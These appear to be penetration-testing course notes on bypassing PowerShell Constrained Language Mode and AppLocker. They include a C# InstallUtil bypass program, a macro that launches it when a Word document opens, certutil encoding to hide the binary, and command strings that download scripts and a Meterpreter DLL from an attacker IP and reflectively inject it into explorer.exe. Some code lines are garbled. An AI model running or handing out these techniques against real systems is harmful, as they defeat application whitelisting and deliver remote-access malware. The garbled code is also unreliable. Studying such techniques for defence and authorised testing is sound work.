PowerShell Language Mode

Language Mode

chk PS session lang mode
$ExecutionContext.SessionState.LanguageMode
  1. FullLanguage allows all cmdlets and the entire .NET framework as well as C# code execution.

  2. RestrictedLanguage offers a compromise, allowing default cmdlets but heavily restricting much else.

  3. NoLanguage disallows all script text.

ConstrainedLanguage mode (CLM)

comment out the AMSI bypass source code or it will be flagged by the AV. If AppControl is enabled, you can use the well known InstallUtil method. Simply place the binary in a safe directory (C:\Windows\Tasks\ is a common safe directory)
cmd
dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe"

Under ConstrainedLanguage, scripts that are located in whitelisted locations or otherwise comply with a whitelisting rule can execute with full functionality. However, if a script does not comply with the rules, or if commands are entered directly on the command line, ConstrainedLanguage imposes numerous restrictions. The most significant limitation excludes calls to the .NET framework, execution of C# code and reflection.

Microsoft introduced the CLM with PowerShell version 3.0.

When AppLocker (or WDAC) is enforcing whitelisting rules against PowerShell scripts, ConstrainedLanguage is enabled as well.

On Windows 7, 8.1 and earlier versions of Windows 10, PowerShell version 2 was installed by default along with the most recent version of PowerShell. On these systems, it may be possible to bypass constrained language mode by specifying version two of PowerShell (-v2) when starting the process.

CLM Bypass with Custom Runspaces and InstallUtil abuse to bypass AppLock Rule

Custom PS runspaces bypasses CLM in PowerShell

InstallUtil bypasses AppLocker executable rules for a C# application

bypass.exe
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        (string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        (System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
            //String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/PowerUp.ps1') | IEX; Invoke-AllChecks | Out-File -FilePath C:\\Tools\\test.txt";
            //
            //
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;

            ps.AddScript(cmd);

            ps.Invoke();

            rs.Close();
        }
    }
}

Trigger CLM bypass code with InstallUtil /U uninstall method

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe

Since MS Office macro are not limited by AppLocker, can reuse the WMI method to execute InstallUtil and obtain the same result

Function bears(cows)
    bears = StrReverse(cows)
End Function

Sub Mymacro()
Dim strArg As String
strArg = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe"

.Create strArg, Null, Null, pid
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    Mymacro
End Sub

Hiding bypass.exe

attacker:
certutil -encode C:\Bypass.exe file.txt
victim
 &&  && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\windows\tasks\Bypass.exe

Reflective C# DLL Injection bypassing AppLocker DLL rule & CLM

cmd in bypass.exe
String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll');(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";

Last updated